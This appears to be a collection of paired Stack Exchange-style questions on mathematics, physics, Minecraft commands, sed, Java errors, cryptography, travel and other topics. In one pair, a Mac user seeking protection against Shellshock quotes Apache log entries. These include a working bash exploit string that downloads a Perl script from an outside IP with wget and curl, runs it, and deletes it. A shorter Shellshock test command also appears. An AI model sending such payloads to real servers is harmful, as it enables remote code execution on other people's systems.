I'm working through van der Vaart to improve my knowledge on asymptotic statistics, and I'm attempting the following problem.  Let $F_n^{-1}(p)$ be the p-th sample quantile of a sample from a cumulative distribution $F$ on $\mathbb{R}$ that is differentiable with positive derivative at the population p-th-quantile.  Define $F^{-1}(p) = \inf\{x: F(x) \geq p\}$.   Show that $\sqrt(n)(F_n^{-1}(p) - F^{-1}(p))$ is asymptotically normal with mean 0 and variance $\frac{p(1-p)}{f(F^{-1}(p))^2}$  My attempt  To me, this kind of screamed out using the Delta Method (though it's a problem in the M-statistics section of the book). I considered the empirical CDF $\hat{p} = \sum_{i=1}^{n} I\{x_i \leq x\} / n$. By CLT, we get:  $\sqrt{n}(\hat{p} - p) \overset{d}{\rightarrow} N(0, p(1-p))$.   Using the delta method with $F^{-1}(p)$ seems like it'd give the result I need, but I don't see how $F^{-1}(\hat{p})$ is equal to the p-th sample quantile. Am I misunderstanding something here? Is the use of the empirical CDF as the estimator flawed? I feel like I'm generally on the right track, but I can't make the last leap I need to. Any help would be appreciated.

If I calculate the median of a sufficiently large number of observations drawn from the same distribution, does the central limit theorem state that the distribution of medians will approximate a normal distribution? My understanding is that this is true with the means of a large number of samples, but is it also true with medians?  If not, what is the underlying distribution of sample medians?


How to find total kinetic energy of a body which is rotating about multiple axes at the same time? For example consider a wheel with a shaft, and that the shaft is hinged. So the wheel is rotating about the shaft and the shaft itself is simultaneously rotating about the hinge. So we can say that the wheel is rotating about two axes : one along the shaft and another about the hinge. another example would be a gyroscope.

Consider a cylinder that rotates about a vertical fixed axis with angular velocity $\vec{\Omega}$ while rotating about  a vertical axis passing through its center of mass with angular velocity $\vec{\omega}$.    Now the two angular velocities of rotation $\omega$ and $\Omega$ are not the same I suppose and there is no link between the two angular velocities, is that right?  Firstly what is the angular velocity of the rigid body? I suppose that it is  $$\vec{\omega^{*}}=\vec{\omega}+\vec{\Omega}$$  But why?  And then what is the moment of inertia with respect to the axis $z$ of the rigid body? If I use parallel axis theorem I get  $$I_{z}=I_{cm}+mR^2$$  Where $R$ is the distance from $z$. But that doesn't seem right. The cylinder is not rotating about its center of mass at the same angular velocity of rotation about $z$. So using $(1)$ give some incorrect results. For istance kinetic energy  $$K=\frac{1}{2} I_{z} \vec{\Omega}^2= \frac{1}{2}(I_{cm}+mR^2)\vec{\Omega}^2$$  But that's the kinetic energy of a body rotating about $z$ and center of mass with the same angular velocity $\vec{\Omega}$, and this is not the case.  I'm confused, can anyone help me with give suggestion about angular velocity and moment of inertia in problems where the rigid body is rotating at the same time about two different axes?


I was doing shop into java minecraft 1.14, but scoreboard didn't work on me. I get an idea to write command:  /give @p[nbt={SelectedItem:{id:"minecraft:gold_ingot",Count:20b}}] diamond_pickaxe{Enchantments:[{id:efficiency,lvl:300}]}   (Im not gonna want to do that unbreakable or set efficiencys level into 32767 because its too lagy for my computer) But 20b gets count work only with 20. I want to get it work in 20 or More. I have same button activating   /clear @p[nbt={SelectedItem:{id:"minecraft:gold_ingot",Count:20b}}]gold_ingot 20   But it dont work in more at 20. How i get that working with 20 or more?  PS. Now i just started using villager. You can guestion same thing on answers, if you need help with it.

I am using the AmazingKit plugin on my Minecraft server to make inventory kits for players. In a command block I have the following command:  /tellraw @p ["",{"text":"Iron","clickEvent":{"action":"run_command","value":"_____"}},{"text":" / "},{"text":"Gold","clickEvent":{"action":"run_command","value":"_____"}}]   Which prints the following result: Iron / Gold.  When a player clicks on Iron, what command should I write where the empty space is _____ in order to check if the player has at least (>=) 20 iron ingots in his inventory and if he/she does, remove 20 iron ingots and execute /kit Basic. If the player has less than 20 iron ingots in inventory, the command won't be executed. Instead, Insufficient amount of iron ingots will be printed out.   Same applies when a player clicks on "Gold".  I'm on 1.14 version


Given that $k_1,...,k_n$ are algebraic integers and the complex number $c$ is a root of the polynomial $X^n+k_1X^{n-1}+..+k_n$ it is an exercise to prove that $c$ is also an algebraic integer. I know that, by definition, an algebraic integer is a complex number that is a root of some monic polynomial with integer coefficients. My question then is I don't quite get what is there exactly to be proved here. Am I missing something?   Edit: So, can I say for any polynomial $f$ with algebraic coefficients and root $c$, there is a polynomial $g$ with integer coefficients and with same root $c$. Then perhaps multiplying some polynomials with some roots will give a polynomial with integer coefficients? But I am not sure of the details~

If $R$ is a number ring with number field $K$ and $f$ is a monic polynomial over $R$, then I want to show that any root of $f$ is an algebraic integer.


I need some help with sed. I have tried to look for information to do this but I couldn't find any specific and people hardly provide an explanation of the provided solution so this makes difficult to understand how sed works.  Basically I have files with the following format:  NAME_DIGITS_ddd-11s-21a-ds_DIGITS_DIGITS.xml   I want to copy the first DIGITS (e.g 00004574), which is the string between the first and second underscores.  Any idea of how to do this?  Considering that the first digits could be 0 what can I do to delete them?  I would appreciate any example for these two cases and an explanation would be really welcome too.  I have achieved the opposite: delete the characters between first and second underscores with: sed s/_[^_]*_/_/ but cannot see how to do what I really need.

To all the 'sed' doctors out there:  How can you get 'sed' to extract a regular expression it has matched in a  line?   In other words words, I want just the string corresponding to the regular  expression with all the non-matching characters from the containing line stripped away.  I tried using the back-reference feature like below  regular expression to be isolated           gets `inserted`                here                     |                v    sed -n 's/.*\( \).*/\1/p    this works for some expressions like   sed -n 's/.*\(CONFIG_[a-zA-Z0-9_]*\).*/\1/p    which neatly extracts all macro names starting with 'CONFIG_ ....' ( found in some '*.h' file ) and prints them all out line by line             CONFIG_AT91_GPIO           CONFIG_DRIVER_AT91EMAC                    .                    .              CONFIG_USB_ATMEL           CONFIG_USB_OHCI_NEW                    .                  e.t.c.    BUT the above breaks down for something like    sed -n 's/.*\([0-9][0-9]*\).*/\1/p    this always returns single digits like                    7                  9                  .                  .                    6   rather than extracting a contiguous number field such as.                 8908078               89670890                    .                  .                    .                23019                     .                e.t.c.     P.S.: I would be grateful to feedback on how this is achieved in 'sed'.        I know how to do this with 'grep' and 'awk'       I would like to find out if my - albeit limited - understanding of        'sed' has holes in it and if there is way to do this in 'sed' which I       have simply overlooked.


I have Windows 10 and Ubuntu 16.04 installed on my machine.  Now I want to check from live USB using Gparted or the df command which partition contains my Ubuntu 16.04 installation.   I am getting a / value output under mounted on, aufs as coordinate parameters and i am not sure which partition aufs refers to.   (Click image to enlarge)

I want to uninstall Ubuntu, so I need to delete its partition.  I saw that many people asked this before. For example: . I followed the instructions there and here's a screenshot of the terminal after typing the suggested command (df):    But this doesn't tell me anything...   This has also been discussed before  and the answer was: EFI and primary. But I have a lot of primary partitions and I'm not sure which one to delete.  Here's a screenshot of Disk Management in Windows:    Here's a GParted screenshot:    So can anybody tell me which the Ubuntu partitions are? (I numbered them from left to right, so to make it easy just tell me numbers please)


I'm new in Delphi.I'm trying to make a one-way hashing of an ASCII string.  Is there any way to encrypt ASCII string without adding Indy or any other Cryptography library to the project And just by standard functions ?  if there is any way to use windows API , How i can do that ?  if it is possible , please give me an example.

How do I make an MD5 hash of a string with Delphi?


Assume Alice has a key pair $(A, a)$ and Bob has a key pair $(B, b)$, where $A = Ga$ and $B = Gb$. In general, the basic rule of crypto says that we should not use the same key for different operations, like in signing and encryption, but I wonder whether in my use case it would be actually possible to use it. Below, I describe the simplified version of my use case. So Alice and Bob are communicating over an anonymous network, like for example Tor. Also, Alice and Bob from time to time publish (independently of course) some data signed with their private keys. Alice doesn't know Bob, and Bob doesn't know Alice. They only are aware of their advertised identity keys A and B. Alice when sending the message $m$ to Bob uses Diffie Hellman to derive a shared key. First, for each new message, she generates a new ephemeral key $x$ and computes the key shared with Bob as $k = KDF(B^x)$ (alternatively, maybe she could first apply some Hash function on B, i.e., h = H(B) and compute $k = KDF(h^x)$, not sure? ). Next, Alice encrypts $m$ as $c = AES_k(m)$. She concatenates $g^x$ and $c$ as $v = g^x || c$ and sends it to Bob. So, in my use case, Alice doesn't reveal any information about herself due to the freshly generated ephemeral key and the anonymous channel (which I assume is secure). She doesn't learn anything about Bob others done his identity public key $B$. Also, as long as Bob's secret key is kept safely no one should be able to decrypt the content of $c$ except for Alice and Bob, which is crucial. So, is there anything that can go wrong here? If for example Bob published let's say a document signed with his private key $b$, does this allow anyone to infer any information about $m$? In general, my question is whether I'm missing any attack which might compromise the confidentiality of the communication between Alice and Bob? Many thanks in advance!

I know that ECDSA is used for signature only, but I wonder if I can use the public/private Elliptic Curve keys for encryption too.  I have ECDSA SSH public keys and I wonder if I can use them to encrypt data that only the matching machine could decrypt, writing the proper software.  Pointers welcomed.


I have 7 Npcs on terraria they all arrived fine. I want more to spawn I built a house the exact same as all the others. I waited until morning but no more spawned. Why is this happening!!

I read on the wiki that people will move in under the following conditions:   You do something to please them An empty house is available with a light source, table, and chair (also with walls).   I have a house which is about 7x8, then a roof space above that; about half the area. I could put furniture up there too, but will anyone move in?


What is the derivation of "what the dickens"? It features in the Merry Wives of Windsor "I cannot tell what the dickens his name is."  So the meaning doesn't seem to have changed ie synonymous with "what on earth".

Where does the phrase "Scare the Dickens out of..." originate from? And does it refer to Charles Dickens?


I have three probability distributions. How can I test if they are statistically different from one another? Alternatively, how could I test if one distribution is different than the other two combined?  Here is an example of what the distributions look like:

I have three probability distributions (see graph). How can I test if they are statistically different from one another in R? Also, how could I test if one distribution (the purple one) is different than the other two combined?  Distributions:


On my phone, I can make drafts for questions.  However, upon returning home, I wanted to complete my draft, but cannot find any drafts button on my PC.  Is this a bug?

Sometimes I find myself start writing a question, or start answering a question, in the mobile app and there are times where I then reach my computer or find out I need to be more comfortable when writing it; I need my computer - a larger screen, keyboard.  The problem is that by opening the question in the desktop browser - my draft will not be there and so I find myself start over or need to look&copy my text from the smartphone or email it, etc. Not particularly comfortable...    I think we need some sort of a syncing ability.


I have seen many answers with respect to the above error in Java, however most of them are telling what the error is, and I cannot find a way to correct it. This is a snippet of my code in Java: public static void optimalAlignmentScoreBU(String r, String s, int matchScore, int transition, int transversion, int indel) {          int m = r.length();         int n = s.length();         Node[][] strg = new Node[m + 1][n + 1];          // base cases         strg[m][n].val = 0; }  I get error at the line where I write strg[m][n].val =0; I have created a Node class as follows: // ELEMENT OF DP MATRIX IS OF TYPE NODE     public class Node {         int val;         ArrayList<Pair<Integer>> arrows = new ArrayList<Pair<Integer>>();     }  // PAIR CLASS public static class Pair<T> {         T p1;         T p2;          public Pair(T p1, T p2) {             this.p1 = p1;             this.p2 = p2;         }     }  Can you tell me what is going wrong? Why is NULL being pointed? What can I do to correct this?

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


My boy, two years - nine months.  We teach him good words, teach him to be polite to parents and even to anyone that he will meet. We always support him physically (buy/give things he wanted), and mentally (tell him a story and playing with him). We also respond to any repeat questions and even for his imagination. We always apologise when we have a mistaken to him, and he do the same things. But lately, he did alot of things that we could not tolerate. And starting to not listen to us.   He is hard to listen our words day by day and it seems getting worse. He clearly heard but chooses not to do what we ask and he doesn't even turn his head when we call him. But when we said in whispered; "Let's going out" or "I want to get ice cream". He heard and reply to what we've said. That's how we negotiate these days, but we do not want to over pamper him.  How to teach him to listen our thoughts, order, and any kind of words without being rude to him. But he always listen to us after shout out loud to him and make he cry.

It's a pretty point blank question. In case you don't know what selective deafness is, here's an example:  Me: "Hey Timmy, help me carry the laundry?" Timmy: "..." Me: "Hey Timmy, I really could use your help; there is a lot to carry" Timmy:"..." Me: "Hey Timmy, I just saw the ice cream truck stop outside" Timmy: "What?! Can we go!? Can we go!?"  I don't have any children named Timmy but you get the idea. What do you do in those situations?


int n = 500;     for(int i = 0; i < n; i++)         for(int j = 0; j < i; j++)             sum++;   My guess is this is simply a O(N^2), but the j < i is giving me doubts.  int n = 500;      for(int i = 0; i < n; i++)         for(int j = 0; j < i*i; j++)             sum++;   Seems like an O(N^3)    int n = 500;      for(int i = 0; i < n; i++)         for(int j = 0; j < i*i; j++)             if( j % i == 0 )                for( k = 0; k < j; k++ )                   sum++   O(N^5)?  So for each loop j has a different value. If it was j < n*n, it would've been more straight forward, but this one is a tricky one, so please help. Thanks.

Most people with a degree in CS will certainly know what . It helps us to measure how well an algorithm scales.   But I'm curious, how do you calculate or approximate the complexity of your algorithms?


I'm having a hard time understanding this code. Could someone try to explain why an array can have elements and 0 length?  var myArray = []; myArray["hello"] = 4; myArray["world"] = 65; $('#btn').on('click',function() {     console.log(myArray.length); // Prints 0     console.log(myArray); // Prints [hello: 4, world: 65]     console.log(myArray.length); // Prints 0  }

I have a JavaScript object. Is there a built-in or accepted best practice way to get the length of this object? const myObject = new Object(); myObject["firstname"] = "Gareth"; myObject["lastname"] = "Simpson"; myObject["age"] = 21;


We are travelling to Bangkok through Doha with Qatar Airways (economy). Is there a priority pass lounge there? We are from Denmark and have a private banking priority pass and a platinum Mastercard.

I am traveling to Vietnam soon and will have a ~6 hour layover in Doha. Since this is quite some time to kill and my connecting flight leaves at 1am from Doha I am wondering about cheap options for lounges in Doha.  Am I eligible to enter any lounge cheaper (or for free) with my Diners Club or MasterCard?  Am I allowed to enter any lounge at all if my flight is economy?  What are the costs and services available?


I received a retention bonus during the tax year 18, with the clause that if I leave within the year I have to pay back the full amount. I will hand in my resignation and will have to pay back bonus prior to tax day. After that I will leave the country and as such have to file a partial tax return. For both years I'm not a citizen but a residence for tax purposes (already filled for a few years).  I plan to hand in both my partial 19 and full 18 tax return at the same time. How would I handle the bonus received in 18 and returned in 19?  I'm not sure  answers my case, as I'm asking for a partial tax return (19) and I already will have payed back the amount once I hand in the 18 return. The amount is over $3k.

Is there a special way to report sign-on bonus (a.k.a. joining bonus)?  Background: I joined a company in 2012 and accepted a sign-on bonus. If I leave the company within one year of joining, then I have to return the joining bonus in entirety as in pre-tax amount. But while receiving, I received only the after-tax amount, about 30% less than pre-tax. In the case I leave within one year, I do not want to lose that 30% money. Needless to say, the W2 contains the aggregate of regular salary and the sign-on bonus.


Hello! I am getting this error in Material Preview mode. Does anyone know?

I don't know why but now, when i go in material preview or rendered (in solid mode it works fine), my object is entirely gray, or invisible idk, because it has the same color of the background. I've been working for days on this project without having this issue, it suddenly showed up. I tried opening other old projects and suddenly they all do the same so i guess it is some blender program setting that applies for all the projects, but idk how it happened cuz i didn't change anything :/, anyone got any tips?


How to prove that the set of natural numbers $\mathbb N$ has the same size as $\mathbb N \times \mathbb N$?  Definition: We know that two sets have the same size when there is an injection from one set to the other and the other way round.  I was thinking of the following proof:  $f: \mathbb N \to  \mathbb N \times \mathbb N; f(n)=(n,1)$  we have that $f$ is an injective function because if we chose $j$ and $t$ in $\mathbb N$, then we will have $fj=j=t=ft$, hence the function is injective.  and we can take: $g: \mathbb N \times \mathbb N \to \mathbb N ; f(n,1)=n+1$  we have that $g$ is an injective function because if we chose $h$ and $k$ in $\mathbb N \times \mathbb N $, then we will have $fh=h=k=kt$, hence the function is injective.  Hence because of the definition above we conclude that the two sets have the same size.

I'm examining a proof I have read that claims to show that the Cartesian product $\mathbb{N} \times \mathbb{N}$ is countable, and as part of this proof, I am looking to show that the given map is surjective (indeed bijective), but I'm afraid that I can't see why this is the case. I wonder whether you might be able to point me in the right direction?  Indeed, the proof begins like this:  "For each $n \in \mathbb{N}$, let $k_n, l_n$ be such that $n = 2^{k_n - 1} \left(2l_n - 1 \right)$; that is, $k_n - 1$ is the power of $2$ in the prime factorisation of $n$, and $2 l_n - 1$ is the (necessarily odd) number $\frac{n}{2^{k_n - 1}}$."  It then states that $n \mapsto \left(k_n , l_n \right)$ is a surjection from $\mathbb{N}$ to $\mathbb{N} \times \mathbb{N}$, and so ends the proof.  I can intuitively see why this should be a bijection, I think, but I'm not sure how to make these feelings rigorous?   I suppose I'd say that the map is surjective since given any $\left(k_n , l_n \right) \in \mathbb{N} \times \mathbb{N}$ we can simply take $n$ indeed to be equal to $2^{k_n - 1} \left(2l_n - 1 \right)$ and note that $k_n - 1 \geq 0$ and thus $2^{k_n - 1}$  is both greater or equal to one so is a natural number (making the obvious inductive argument, noting that multiplication on $\mathbb{N}$ is closed), and similarly that $2 l_n - 1 \geq 2\cdot 1 - 1 = 1$ and is also a natural number, and thus the product of these two, $n$ must also be a natural number. Is it just as simple as this?  I suppose my gut feeling in the proving that the map is injective would be to assume that $2^{k_n - 1} \left(2 l_n - 1 \right) = 2^{k_m - 1} \left(2 l_m - 1 \right)$ and then use the Fundamental Theorem of Arithmetic to conclude that $n = m$. Is this going along the right lines? The 'implicit' definition of the mapping has me a little confused about the approach.    On a related, but separate note, I am indeed aware that if $K$ and $L$ are any countable sets, then so is $K \times L$, so trivially, taking the identity mapping we see trivially that this map is bijective and therefore that $\mathbb{N}$ is certainly countable (!), and thus so is $\mathbb{N} \times \mathbb{N}$. Hence, it's not really the statement that I'm interested in, but rather the exciting excursion into number theory that the above alternative proof provides.


I am a newbie on Perl and I have a problem with the module Statitics::R.  I have to install a software (Sowhat:) on a mac. For this I need Statistics::R. I downloaded it and put the compressed directory on my sowhat directory. After this I decompressed my directory and install my Module. I tried to install my software and then I obtained this answer   Error:       Can't locate Statistics/R.pm in @INC (you may need to install the   Statistics::R module) (@INC contains:   /Users/UMR7205/Documents/sowhat-master/blib/lib   /Users/UMR7205/Documents/sowhat-master/blib/arch   /Users/UMR7205/Documents/sowhat-master/blib/lib/Statistics-R0.34/lib/Statistics/R.pm   /Users/UMR7205/Documents/sowhat-master/blib/lib/Statistics-R0.34/lib/Statistics/R.pm   /Library/Perl/5.18/darwin-thread-multi-2level /Library/Perl/5.18   /Network/Library/Perl/5.18/darwin-thread-multi-2level   /Network/Library/Perl/5.18 /Library/Perl/Updates/5.18.2   /System/Library/Perl/5.18/darwin-thread-multi-2level   /System/Library/Perl/5.18   /System/Library/Perl/Extras/5.18/darwin-thread-multi-2level   /System/Library/Perl/Extras/5.18 .) at (eval 4) line 2.  BEGIN   failed--compilation aborted at (eval 4) line 2.   But:   The directory which contains the Statistics/R.pm" is listed here When I checked the installation of Statistics::R I have the same answer I had no error message when I install the package   Could someone help me?

I get this error:  Can't locate Foo.pm in @INC  Is there an easier way to install it than downloading, untarring, making, etc?


Looking to identify my tandem frame It was bought without decals and buyer claimed it to be a Gary Fisher but I want to know for sure before I have it refinished.  It has eccentric bottom bracket shell and v-brake mounts  Frame number stamped underneath the shell is LK99040060 Any help gladly appreciated  😊

I have a bike I'm trying to sell because it's just been sitting in my basement. It looks as if someone primered it and the only thing I found was a serial number. Is there like a website I can look up more info on the bike using just that number?


I am trying to read date and temperature data from a file and then assign that data to arrays but it's throwing a NullPointerException in ReadFile() at the while loop when it searches for the next line. So from what I'm gathering I'm not doing something right with referencing my Scanner input and the file information being saved between methods. What would be the best way for me to do this?  public static void main(String[] args){      Scanner input=null;     String[] line = new String[1];     line[0]="";       GetFile(input);      int count=ReadFile(input,line);      int[] year = new int[count];     int[] temperature = new int[count];      CreateArray(year,temperature,line);     PrintData(year,temperature);  } public static void GetFile(Scanner input){     Scanner name = new Scanner(System.in);     boolean filefound=false;     while(!filefound){         try{             System.out.println("Enter The Name of File or File Path: ");             String filename = name.nextLine();             input = new Scanner(new File(filename));             filefound=true;         }catch(FileNotFoundException e){             System.out.println("Error: File Not Found");             System.out.println("");         }     } } public static int ReadFile(Scanner input, String[] line){     int count=0;     while(input.hasNextLine()){         line[0]=line[0] + input.nextLine()+" ";         count++;     }     return count; } public static void CreateArray(int[] year, int[] temperature, String[] line){     Scanner MakeArray = new Scanner(line[0]);      while(MakeArray.hasNext()){         int i= MakeArray.nextInt()-1;         year[i]=MakeArray.nextInt();         temperature[i]=MakeArray.nextInt();     } } public static void PrintData(int[] year, int[] temperature){     for(int i=0;i<year.length;i++)         System.out.println("("+year[i]+", "+temperature[i]+")"); }      //Here is my data     1  1950  11     2  1950  22     3  1950  65     4  1950  103     5  1950  99     6  1950  54     7  1950  109     8  1950  85     9  1950  72     10 1950 120

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


I've got problem using drush on shared host.  drush status shows:     Drush version          :  8.0-dev   and when I run:     drush php-eval "phpinfo()" | grep memory   It reporsts:     memory_limit => 1024M => 1024M   Which is quite big  But whenever I run drush cc all (this is D7 site) it  with:     Fatal error: Out of memory (allocated 61341696) (tried to allocate 79 bytes) in .../public_html/includes/registry.inc on line 41   I created drush.ini file in .drush directory and whatever I put there is reported by drush and drush status shows fail as loaded but memory limit does not go away.  Is it possible this error to come from drush version or what else could I ask hosting provider to change or check?  Edit:  When I add drush.ini file  in .drush directory with following in it:  memory_limit = 256M   and drush status   PHP executable         :  /usr/local/php56/bin/php-cli     PHP configuration      :  /usr/local/php56/lib/php.ini                               /home/tennist/.drush/drush.ini   PHP OS                 :  Linux                            Drush script           :  /chroot/drush/drush.php          Drush version          :  8.0-dev                          Drush temp directory   :  /tmp                             Drush configuration    :                                   Drush alias files      :   In /usr/local/php56/lib/php.ini  memory_limit = 1024M  In /home/tesnnist/.drush/drush.ini memory_limit = 256M  the command drush php-eval "phpinfo()" | grep memory reports:    [2] => --php-options=-d memory_limit="256M"  And after this drush cc all also fails when reaching 62M limit.

This happened when I restarted Apache because my site was down. Normally restarting Apache or other service doesn't break Drush, but today it happened.  I'm sure on my server my php.ini has memory limit set to 1024M, this is my own dedicate server, and the Drupal installation runs well, I check the status report on Drupal (admin/reports/status), the PHP memory limit is set to 1024M.  This happened on my Drupal sites on my server.  When I...  [root: sites]# drush st   I got  Drush command terminated abnormally due to an unrecoverable error.       [error] Error: Out of memory (allocated 10485760) (tried to allocate 122880 bytes) in /home/mywebsite/public_html/modules/system/system.module, line 1336   I also tried...  [root: sites]#  php -i | grep memory_limit   And I got  memory_limit 1024M   Is there anyone has some ideas?  My Server:   CENTOS 5.9 x86_64 WHM 11.36.0 (build 14)  PHP 5.2.17 Drush 5.8   I've tried drush status --debug and it gave me :     Bootstrap to phase 0. [0 sec, 3.02 MB]   [bootstrap] Drush bootstrap phase : _drush_bootstrap_drush() [0.01   sec, 3.23 MB] [bootstrap] Cache HIT cid:   5.8-commandfiles-0-15880291c3f5c759ee66bf106fd77cbd [0.01 sec, 3.24 MB]        [debug] Bootstrap to phase 0. [0.04 sec, 7.43 MB]   [bootstrap] Drush bootstrap phase : _drush_bootstrap_drupal_root()   [0.05 sec, 7.49 MB]                [bootstrap] Drush command   terminated abnormally due to an unrecoverable error.   [error] Error: Out of memory (allocated 10485760) (tried to allocate   122880 bytes) in   /home/mywebsite/public_html/modules/system/system.module, line 1336 [0.06   sec, 9.28 MB]


I am interested in a nice function to find the area of a section of a normalized Gaussian distribution. Let's say I have a normalized Gaussian distribution of standard deviation $\sigma$, mean $\mu$, and I am interested in the area centered at $\mu$ between +/- $t$ ( see below)   Is there a simple way to express this for any given $t$ using the erf? The ref from which I found the above figure uses  $$a_1 = 2 \mathrm{erf}\left(\frac{t}{\sigma} \right)  $$  But I don't think this expression is true for a normalized guassian. Moreover, can the $\textit{total}$ area be expressed by an error function?  Thanks, very new to statistics.

If the Standard Normal PDF is $$f(x) = \frac{1}{\sqrt{2\pi}} e^{-x^2/2}$$  and the CDF is  $$F(x) = \frac{1}{\sqrt{2\pi}} \int_{-\infty}^x e^{-x^2/2}\mathrm{d}x\,,$$  how does this turn into an error function of $z$?


"Singing teacher Miri Gellert is nearly 30, has lived at home for the past nine years (Vs. for the last nine years) and has had her share of awkward encounters." (BBC)    Is there a difference between 'past' and 'last' in this context?

Is it grammatically  wrong  to say      It's been too hot  in the last / the past few days      It's been too hot for the last / the past few days     I saw this following sentence also, can we omit in it?     He's had two new cars in the last / in the past three years   as     He's had two new cars  the last / in the past three years     Is there a strict rule in using of preposition or non-preposition when we use the last/past ?  What is the structure when I refer to weeks, months ?


I need to create a random number between 80 and 120, I was given the line  int tempF = (-17 + (int) (Math.random() * ((-20 - (-17)) + 1)));   and I added the line  Random generator = new Random();   above it, but I'm not sure where to go from here?

How do I generate a random int value in a specific range? I have tried the following, but those do not work: Attempt 1: randomNum = minimum + (int)(Math.random() * maximum);  Bug: randomNum can be bigger than maximum. Attempt 2: Random rn = new Random(); int n = maximum - minimum + 1; int i = rn.nextInt() % n; randomNum =  minimum + i;  Bug: randomNum can be smaller than minimum.


There is  of the particle moving in a scalar field $\varphi (x)$: $$ S = -m\int e^{\varphi (x)}\sqrt{\eta_{\alpha \beta}\frac{dx^{\alpha}}{d \lambda}\frac{dx^{\beta}}{d \lambda}}d\lambda . $$ How to get the equation of motion for massless objects? In this case I may introduce new parameter $\sqrt{\eta_{\alpha \beta}\frac{dx^{\alpha}}{d \lambda}\frac{dx^{\beta}}{d \lambda}}d\lambda = \frac{d\tau }{m}$.  But when I try to derive (like ) the equations of motion, I get $$ \partial_{\alpha } \varphi = m^{2}\frac{d }{d \tau}\left( u_{\alpha} e^{\varphi}\right)e^{-\varphi}. $$ Unfortunately, this equation doesn't predict the absense of deflection of light. But Nordstrom theory really predicts the deflection of light. So where is the mistake in my  reasoning?  Addition.   I got the mistake. By introducing new parameter $\tau$ I must rewrite my equation in a form $$ \partial_{\alpha } \varphi = \frac{1}{m^2}\frac{d }{d \tau}\left( p_{\alpha} e^{\varphi}\right)e^{-\varphi}. $$ So it really preficts no deflection of light.

of a particle moving in the presence of a scalar field $\varphi (x)$ is given by $$ S = -m\int e^{\varphi (x)}\sqrt{\eta_{\alpha \beta}\frac{dx^{\alpha}}{d \lambda}\frac{dx^{\beta}}{d \lambda}}d\lambda , $$ where $\lambda$ is the parametrization of the worldline of the particle, ignoring the free field part $\int \eta_{\alpha \beta}\partial^{\alpha}\varphi \partial^{\beta} \varphi d^{4}x$.   How does one derive the equations of motion in terms of the parameter  $$d\tau = \sqrt{\eta_{\alpha \beta}\frac{dx^{\alpha}}{d \lambda}\frac{dx^{\beta}}{d \lambda}} d\lambda.   $$ $u^{\alpha} = \frac{dx^{\alpha}}{d\tau} \Rightarrow u_{\alpha}u_{\beta}\eta^{\alpha \beta} = 1$?  My attempt:  $$ \delta S = 0 \Rightarrow \int \left( \frac{\partial (e^{\varphi } \sqrt{...})}{\partial x^{\alpha}}\delta x^{\alpha} +\frac{\partial (e^{\varphi } \sqrt{...})}{\partial \left( \frac{d x^{\alpha}}{d \lambda } \right)}\frac{d}{d\lambda} \delta x^{\alpha} \right)d\lambda = |d\tau = \sqrt{...}d\lambda | = $$ $$ = \int \left(\sqrt{...}e^{\varphi}\partial_{\alpha}\varphi - \frac{d}{d \lambda} \left(\frac{d x_{\alpha}}{d\tau}e^{\varphi}\right)  \right)\delta x^{\alpha}d \lambda  =  $$ $$ =\int \left( \partial_{\alpha}\varphi - \frac{d^{2}x_{\alpha}}{d \tau^{2}} - \frac{dx_{\alpha}}{d\tau} \frac{d \varphi }{d\tau }\right) \delta x^{\alpha} e^{\varphi} \sqrt{...}d\lambda =  $$ $$ =\int \left( \partial_{\alpha}\varphi - \frac{d u_{\alpha}}{d \tau} - u_{\alpha} u_{\beta} \partial^{\beta} \varphi \right)\delta x^{\alpha} e^{\varphi} \sqrt{...}d\lambda \Rightarrow $$ $$ \partial_{\alpha}\varphi - \frac{d u_{\alpha}}{d \tau} - u_{\alpha} u_{\beta} \partial^{\beta} \varphi = 0 \Rightarrow \partial_{\alpha} \varphi = e^{-\varphi}\frac{d }{d \tau}\left( e^{\varphi } u_{\alpha}\right). $$ Unfortunately, this equation doesn't look like the equation , $$ \frac{d (\varphi u_{\alpha})}{d \tau} = -\partial_{\alpha } \varphi.  $$ I can explain the part of differences by renaming the function, $e^{\varphi } \to \varphi $, in the expression for action (then my equation reduces to the form $ \partial_{\alpha} \varphi = \frac{d }{d \tau}\left( \varphi  u_{\alpha}\right)$), but I can't explain why my equation has the wrong sign.


I already run the following and I get "vulnerable" Mac cysunza$ env x='() { :;}; echo vulnerable' bash -c 'echo hello' vulnerable hello  I read the post about it but appears to me that his is just for newer systems that mine, so my questions are: I should be worried about it? (my guess is yes) Is there a way to solve this problem, without a new system? if there are such a patch, where I can get it?   I upgrade my Mac to the last OS in another hard disk but I felt so slow, that's the reason I prefer work in the system 10.6.8 Thanks

I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks?


I'm trying to understand how exactly the new Curious badge works.  Suppose I have "valid questions" on June 28, June 29th, June 30th, July 1, and today, July 2. That would earn me a Curious badge under the described rules for five days. But suppose I also had a closed question on July 2. Would I still be eligible for a Curious badge based on "valid questions?" Or would that cancel today's valid question?  Edit" "Valid question" is my term for "good question" because of the potential for confusion using "good question" in two different

The description of the new  badge currently reads:     Asked a good question on 5 separate days, and maintains a positive question record.   The term "good question" seems to be defined by the badge :     Question score of 25 or more.   Curious seems to use another criterion, though, as witnessed by  (no Good Question but Curious).  Please clarify the description.


